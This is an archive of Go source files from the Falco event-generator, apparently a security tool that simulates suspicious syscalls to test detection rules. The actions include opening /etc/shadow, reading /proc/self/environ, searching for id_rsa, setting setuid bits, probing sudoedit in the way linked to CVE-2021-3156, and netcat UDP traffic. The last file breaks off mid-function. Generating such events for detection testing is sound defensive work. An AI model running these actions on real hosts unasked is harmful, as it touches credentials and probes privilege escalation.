Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os/exec"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
ReadEnvironmentVariableFromProcFiles,
events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)
func ReadEnvironmentVariableFromProcFiles(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
cmd := exec.Command("cat", "/proc/self/environ")
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
0707010000006D000081A400000000000000000000000166F189F1000003E2000000000000000000000000000000000000005900000000falco-event-generator-0.12.0/events/syscall/read_sensitive_file_trusted_after_startup.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(ReadSensitiveFileTrustedAfterStartup)
func ReadSensitiveFileTrustedAfterStartup(h events.Helper) error {
// for the event to be triggered, the new process must run for at least 5 seconds
return h.SpawnAsWithSymlink("httpd", "syscall.ReadSensitiveFileUntrusted", "--sleep", "6s")
}
0707010000006E000081A400000000000000000000000166F189F1000003FC000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/syscall/read_sensitive_file_untrusted.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(ReadSensitiveFileUntrusted)
func ReadSensitiveFileUntrusted(h events.Helper) error {
file, err := os.Open("/etc/shadow")
if err != nil {
return err
}
defer func() {
if err := file.Close(); err != nil {
h.Log().WithError(err).Error("failed to close /etc/shadow file")
}
}()
return nil
}
0707010000006F000081A400000000000000000000000166F189F1000006C9000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/syscall/read_shell_configuration_file.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"path/filepath"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
ReadShellConfigurationFile,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func ReadShellConfigurationFile(h events.Helper) error {
// create a unique temp directory
tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-ReadShellConfigurationFile-")
if err != nil {
return err
}
defer func() {
if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}()
shellrc := filepath.Join(tmpDir, ".bashrc")
// create a dummy shell configuration file
file, err := os.Create(shellrc)
if err != nil {
return err
}
if err := file.Close(); err != nil {
h.Log().WithError(err).Error("failed to close temp file")
}
// open the file to trigger the rule
file, err = os.Open(shellrc)
if err != nil {
return err
}
defer func() {
if err := file.Close(); err != nil {
h.Log().WithError(err).Error("failed to close temp file")
}
}()
return nil
}
07070100000070000081A400000000000000000000000166F189F100000503000000000000000000000000000000000000004400000000falco-event-generator-0.12.0/events/syscall/read_ssh_information.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"path/filepath"
"github.com/falcosecurity/event-generator/events"
"os"
)
var _ = events.Register(
ReadSshInformation,
events.WithDisabled(), // the rule is not enabled by default, so disable the action too
)
func ReadSshInformation(h events.Helper) error {
// create .ssh directory inside tempDirectory
sshDir, cleanup, err := createSshDirectoryUnderHome(h)
if err != nil {
return err
}
defer cleanup()
// creating a dummy known_hosts file is enough to trigger the rule
filename := filepath.Join(sshDir, "known_hosts")
if _, err := os.Create(filename); err != nil {
return err
}
return nil
}
07070100000071000081A400000000000000000000000166F189F1000005E3000000000000000000000000000000000000004A00000000falco-event-generator-0.12.0/events/syscall/remove_bulk_data_from_disk.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(RemoveBulkDataFromDisk)
func RemoveBulkDataFromDisk(h events.Helper) error {
shred, err := exec.LookPath("shred")
if err != nil {
// if we don't have a shred, just bail
return &events.ErrSkipped{
Reason: "shred executable file not found in $PATH",
}
}
// create a unique file under temp directory
file, err := os.CreateTemp("", "falco-event-generator-syscall-RemoveBulkDataFromDisk-")
if err != nil {
return err
}
if err := os.WriteFile(file.Name(), []byte("bulk data content"), os.FileMode(0600)); err != nil {
return err
}
// shred the file content
cmd := exec.Command(shred, "-u", file.Name())
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
07070100000072000081A400000000000000000000000166F189F100000381000000000000000000000000000000000000004300000000falco-event-generator-0.12.0/events/syscall/run_shell_untrusted.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"github.com/falcosecurity/event-generator/events"
_ "github.com/falcosecurity/event-generator/events/helper"
)
var _ = events.Register(RunShellUntrusted)
func RunShellUntrusted(h events.Helper) error {
return h.SpawnAsWithSymlink("httpd", "helper.RunShell")
}
07070100000073000081A400000000000000000000000166F189F1000005A0000000000000000000000000000000000000004200000000falco-event-generator-0.12.0/events/syscall/schedule_cron_jobs.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"github.com/falcosecurity/event-generator/events"
"os/exec"
)
var _ = events.Register(
ScheduleCronJobs,
events.WithDisabled(), // the rule is not enabled by default, so disable the action too
)
func ScheduleCronJobs(h events.Helper) error {
crontab, err := exec.LookPath("crontab")
if err != nil {
// if we don't have a crontab, just bail
return &events.ErrSkipped{
Reason: "crontab executable file not found in $PATH",
}
}
// this just lists crons, but enough to trigger the rule, so we ignore crontab exit code 1
err = exec.Command(crontab, "-l").Run()
if ee, ok := err.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 1 {
h.Log().WithError(err).Debug("crontab command failed with exit code 1 (might be ok)")
return nil
}
return err
}
07070100000074000081A400000000000000000000000166F189F1000004D3000000000000000000000000000000000000005000000000falco-event-generator-0.12.0/events/syscall/search_private_keys_or_passwords.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(SearchPrivateKeysOrPasswords)
func SearchPrivateKeysOrPasswords(h events.Helper) error {
find, err := exec.LookPath("find")
if err != nil {
// if we don't have a find, just bail
return &events.ErrSkipped{
Reason: "find executable file not found in $PATH",
}
}
cmd := exec.Command(find, os.TempDir(), "-maxdepth", "1", "-iname", "id_rsa")
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
07070100000075000081A400000000000000000000000166F189F1000005C6000000000000000000000000000000000000004800000000falco-event-generator-0.12.0/events/syscall/set_setuid_or_setgid_bit.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
SetSetuidOrSetgidBit,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func SetSetuidOrSetgidBit(h events.Helper) error {
// create a unique file under temp directory
file, err := os.CreateTemp("", "falco-event-generator-syscall-SetSetuidOrSetgidBit-")
if err != nil {
return err
}
defer func() {
if err := os.Remove(file.Name()); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
// set setuid bit
cmd := exec.Command("chmod", "u+s", file.Name())
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
07070100000076000081A400000000000000000000000166F189F1000006D0000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/syscall/sudo_potential_privilege_escalaton.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"errors"
"os/exec"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
SudoPotentialPrivilegeEscalation,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func SudoPotentialPrivilegeEscalation(h events.Helper) error {
sudoedit, err := exec.LookPath("sudoedit")
if err != nil {
// if we don't have a sudoedit, just bail
return &events.ErrSkipped{
Reason: "sudoedit executable file not found in $PATH",
}
}
// note: executing the following command might fail, but enough to trigger the rule, so we ignore the exit code 1 error
err = runAsUser(h, "daemon", sudoedit, "-u", "daemon", "-s", "ls\\")
// we need to unwrap the error to get the exit code
unerr := errors.Unwrap(err)
if unerr == nil {
unerr = err
}
if ee, ok := unerr.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 1 {
return &events.ErrSkipped{
Reason: "sudoedit command failed with exit code 1 (might be ok) - probably patched and not vulnerable to CVE-2021-3156",
}
}
return err
}
07070100000077000081A400000000000000000000000166F189F100000410000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/syscall/system_procs_network_activity.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"github.com/falcosecurity/event-generator/events"
_ "github.com/falcosecurity/event-generator/events/helper"
)
var _ = events.Register(
SystemProcsNetworkActivity,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func SystemProcsNetworkActivity(h events.Helper) error {
return h.SpawnAsWithSymlink("sha1sum", "helper.NetworkActivity")
}
07070100000078000081A400000000000000000000000166F189F1000004F0000000000000000000000000000000000000004700000000falco-event-generator-0.12.0/events/syscall/system_user_interactive.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"errors"
"os/exec"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(SystemUserInteractive)
func SystemUserInteractive(h events.Helper) error {
err := runAsUser(h, "daemon", "/bin/login")
// we need to unwrap the error to get the exit code
unerr := errors.Unwrap(err)
if unerr == nil {
unerr = err
}
// silently ignore /bin/login exit code 1
if ee, ok := unerr.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 1 {
h.Log().WithError(err).Debug("login command run as user daemon failed with exit code 1 (might be ok)")
return nil
}
return err
}
07070100000079000081A400000000000000000000000166F189F1000005AE000000000000000000000000000000000000004600000000falco-event-generator-0.12.0/events/syscall/unexpected_udp_traffic.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"context"
"os/exec"
"time"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
UnexpectedUDPTraffic,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func UnexpectedUDPTraffic(h events.Helper) error {
nc, err := exec.LookPath("nc")
if err != nil {
// if we don't have a netcat, just bail
return &events.ErrSkipped{
Reason: "netcat executable file not found in $PATH",
}
}
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
if err := runCmd(context.Background(), 1*time.Second, nc, "-u", "example.com", "22"); err != nil {
h.Log().WithError(err).Debug("failed to run nc command (this is expected)")
}
return nil
}
0707010000007A000081A400000000000000000000000166F189F10000060A000000000000000000000000000000000000007600000000falco-event-generator-0.12.0/events/syscall/unprivileged_delegation_of_page_faults_handling_to_a_userspace_process.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"github.com/falcosecurity/event-generator/events"
"golang.org/x/sys/unix"
)
var _ = events.Register(
UnprivilegedDelegationOfPageFaultsHandlingToAUserspaceProcess,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func UnprivilegedDelegationOfPageFaultsHandlingToAUserspaceProcess(h events.Helper) error {
// ensure the process is spawned, otherwise we might hit unexpected side effect issues with becameUser()
if h.Spawned() {
// to make user.uid != 0
h.Log().Debug("setuid to something non-root")
if err := becameUser(h, "daemon"); err != nil {
return err
}
// attempt to create userfaultfd syscall is enough
_, _, _ = unix.Syscall(unix.SYS_USERFAULTFD, 0, 0, 0)
return nil
}
return h.SpawnAsWithSymlink("child", "syscall.UnprivilegedDelegationOfPageFaultsHandlingToAUserspaceProcess")
}
0707010000007B000081A400000000000000000000000166F189F100000439000000000000000000000000000000000000004200000000falco-event-generator-0.12.0/events/syscall/user_mgmt_binaries.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
UserMgmtBinaries,
events.WithDisabled(), // the rule is not enabled by default in falco_rules.yaml, so disable the action too
)
func UserMgmtBinaries(h events.Helper) error {
if h.InContainer() {
return &events.ErrSkipped{
Reason: "not applicable to containers",
}
}
return h.SpawnAsWithSymlink("vipw", "helper.ExecLs")
}
0707010000007C000081A400000000000000000000000166F189F1000004E6000000000000000000000000000000000000003500000000falco-event-generator-0.12.0/events/syscall/utils.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"context"
"math/rand/v2"
"os/exec"
"time"
)
// randomString generates a random string of the given length.
func randomString(length int) string {
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
bytes := make([]byte, length)
for i := range bytes {
bytes[i] = charset[rand.IntN(len(charset))]
}
return string(bytes)
}
// runCmd runs a command with a timeout.
func runCmd(ctx context.Context, timeout time.Duration, name string, args ...string) error {
ctx, cancel := context.WithTimeout(ctx, timeout)
defer cancel()
return exec.CommandContext(ctx, name, args...).Run()
}
0707010000007D000081A400000000000000000000000166F189F100000E4B000000000000000000000000000000000000003B00000000falco-event-generator-0.12.0/events/syscall/utils_linux.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os"
"os/exec"
"os/user"
"path/filepath"
"strconv"
"strings"
sys "syscall"
"github.com/falcosecurity/event-generator/events"
"golang.org/x/sys/unix"
)
// becameUser calls looks up the username UID then calls "setuid" syscall.
//
// IMPORTANT NOTE: the behavior is unpredicatable when used with goroutes.
// On linux, setuid only affects the current thread, not the process.
// Thus, becameUser may or not affect other goroutines.
func becameUser(h events.Helper, username string) error {
h.Log().WithField("user", username).
Infof("became %q", username)
u, err := user.Lookup(username)
if err != nil {
return err
}
uid, err := strconv.Atoi(u.Uid)
if err != nil {
return err
}
h.Log().WithField("uid", sys.Getuid()).
WithField("euid", sys.Geteuid()).Debug("pre setuid")
uuid := uint(uid)
_, _, errno := unix.RawSyscall(unix.SYS_SETUID, uintptr(uuid), 0, 0)
h.Log().WithError(errno).
WithField("uid", sys.Getuid()).
WithField("euid", sys.Geteuid()).Debug("post setuid")
if errno != 0 {
return errno
}
return nil
}
func runAsUser(h events.Helper, username string, cmdName string, cmdArgs ...string) error {
h.Log().WithField("user", username).
WithField("cmdName", cmdName).
WithField("cmdArgs", cmdArgs).
Infof("run as %q", username)
u, err := user.Lookup(username)
if err != nil {
return err
}
uid, err := strconv.Atoi(u.Uid)
if err != nil {
return err
}
gid, err := strconv.Atoi(u.Gid)
if err != nil {
return err
}
cmd := exec.Command(cmdName, cmdArgs...)
cmd.SysProcAttr = &sys.SysProcAttr{}
cmd.SysProcAttr.Credential = &sys.Credential{
Uid: uint32(uid),
Gid: uint32(gid),
}
// for easier debugging of errors, return the combined (stdout and stderr) output of the command execution
if out, err := cmd.CombinedOutput(); err != nil {
if o := strings.TrimSpace(string(out)); o != "" {
// note: we might need to unwrap the error later on if we want to check the exit code
// example: SystemUserInteractive event
return fmt.Errorf("%w: %s", err, o)
}
return err
}
return nil
}
// createSshDirectoryUnderHome creates a temp directory under /home and .ssh directory inside it.
func createSshDirectoryUnderHome(h events.Helper) (string, func(), error) {
// create a unique temp directory under /home
tmpDir, err := os.MkdirTemp("/home", "falco-event-generator-syscall-SshDirectory-")
if err != nil {
return "", func() {}, err
}
// create .ssh subdirectory
sshDir := filepath.Join(tmpDir, ".ssh")
if err := os.Mkdir(sshDir, os.FileMode(0755)); err != nil {
return "", func() {
// any cleanup error should be logged but not returned
if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}, err
}
return sshDir, func() {
// any cleanup error should be logged but not returned
if err := os.RemoveAll(tmpDir); err != nil {
h.Log().WithError(err).Error("failed to remove temp directory")
}
}, nil
}
0707010000007E000081A400000000000000000000000166F189F100000613000000000000000000000000000000000000004600000000falco-event-generator-0.12.0/events/syscall/write_below_binary_dir.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
WriteBelowBinaryDir,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func WriteBelowBinaryDir(h events.Helper) error {
// ensure /bin exists
if _, err := os.Stat("/bin"); os.IsNotExist(err) {
if err := os.Mkdir("/bin", os.FileMode(0755)); err != nil {
return err
}
// remove /bin directory
defer func() {
if err := os.RemoveAll("/bin"); err != nil {
h.Log().WithError(err).Error("failed to remove /bin directory")
}
}()
}
// create a unique file under /bin directory
file, err := os.CreateTemp("/bin", "falco-event-generator-syscall-WriteBelowBinaryDir-")
if err != nil {
return err
}
defer func() {
if err := os.Remove(file.Name()); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
return nil
}
0707010000007F000081A400000000000000000000000166F189F100000601000000000000000000000000000000000000003F00000000falco-event-generator-0.12.0/events/syscall/write_below_etc.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
WriteBelowEtc,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func WriteBelowEtc(h events.Helper) error {
// ensure /etc exists
if _, err := os.Stat("/etc"); os.IsNotExist(err) {
if err := os.Mkdir("/etc", os.FileMode(0755)); err != nil {
return err
}
// remove /etc directory
defer func() {
if err := os.RemoveAll("/etc"); err != nil {
h.Log().WithError(err).Error("failed to remove /etc directory")
}
}()
}
// create a unique file under /etc directory
file, err := os.CreateTemp("/etc", "falco-event-generator-syscall-WriteBelowEtc-")
if err != nil {
return err
}
defer func() {
if err := os.Remove(file.Name()); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
return nil
}
07070100000080000081A400000000000000000000000166F189F10000060B000000000000000000000000000000000000004900000000falco-event-generator-0.12.0/events/syscall/write_below_monitored_dir.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
WriteBelowMonitoredDir,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func WriteBelowMonitoredDir(h events.Helper) error {
// ensure /lib directory exists
if _, err := os.Stat("/lib"); os.IsNotExist(err) {
if err := os.Mkdir("/lib", os.FileMode(0755)); err != nil {
return err
}
defer func() {
if err := os.RemoveAll("/lib"); err != nil {
h.Log().WithError(err).Error("failed to remove /lib directory")
}
}()
}
// create a unique file under /lib directory
file, err := os.CreateTemp("/lib", "falco-event-generator-syscall-WriteBelowMonitoredDir-")
if err != nil {
return err
}
defer func() {
if err := os.Remove(file.Name()); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
return nil
}
07070100000081000081A400000000000000000000000166F189F10000060C000000000000000000000000000000000000004000000000falco-event-generator-0.12.0/events/syscall/write_below_root.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
WriteBelowRoot,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func WriteBelowRoot(h events.Helper) error {
// ensure /root exists
if _, err := os.Stat("/root"); os.IsNotExist(err) {
if err := os.Mkdir("/root", os.FileMode(0755)); err != nil {
return err
}
// remove /root directory
defer func() {
if err := os.RemoveAll("/root"); err != nil {
h.Log().WithError(err).Error("failed to remove /root directory")
}
}()
}
// create a unique file under /root directory
file, err := os.CreateTemp("/root", "falco-event-generator-syscall-WriteBelowRoot-")
if err != nil {
return err
}
defer func() {
if err := os.Remove(file.Name()); err != nil {
h.Log().WithError(err).Error("failed to remove temp file")
}
}()
return nil
}
07070100000082000081A400000000000000000000000166F189F100000915000000000000000000000000000000000000004800000000falco-event-generator-0.12.0/events/syscall/write_below_rpm_database.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
WriteBelowRpmDatabase,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func WriteBelowRpmDatabase(h events.Helper) error {
// ensure /var exists
if _, err := os.Stat("/var"); os.IsNotExist(err) {
if err := os.Mkdir("/var", os.FileMode(0755)); err != nil {
return err
}
